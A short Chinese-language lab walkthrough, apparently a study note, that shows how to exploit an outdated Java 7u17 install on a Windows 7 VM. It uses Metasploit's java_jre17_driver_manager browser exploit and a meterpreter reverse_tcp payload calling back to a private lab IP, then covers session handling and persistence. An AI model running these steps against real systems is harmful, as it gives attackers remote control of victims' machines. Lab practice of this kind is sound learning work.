首先要在win7安装java环境,版本是jre-7u17-windows-i586
百度云链接:https://pan.baidu.com/s/1UOuBZcCKbBcrJM7qzIw_nQ
提取码:ociq
安装期间先去msf开启模块
use exploit/multi/browser/java_jre17_driver_manager
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.132.144
jobs -K
exploit
jobs -K是确保后台没有正在执行的会话,如果kali之前没进行任何监听操作的话可以省略这一步。
等到win7环境安装完成,我们复制url(上图内容的倒数第二行)
http://192.168.132.144:8080/xPIWLfQDV7M
在win7的ie上访问,点击稍后
发现已经建立连接
sessions
sessions -i 1
sessions是查看当前所有已经建立的会话
sessions -i 数字 是指定并进入会话,后面的数字是看情况指定的
这样便成功拿到用户权限了。
当然,访问连接之后会在win7界面上生成一个java小窗口,msf应该就是用这个小窗口维持权限,这就类似于xss注入一个宽高为0的窗口进行维持一样,只不过这个java窗口在关闭之后也是可以继续维持的。
如果关闭java.exe就会断开跟msf的连接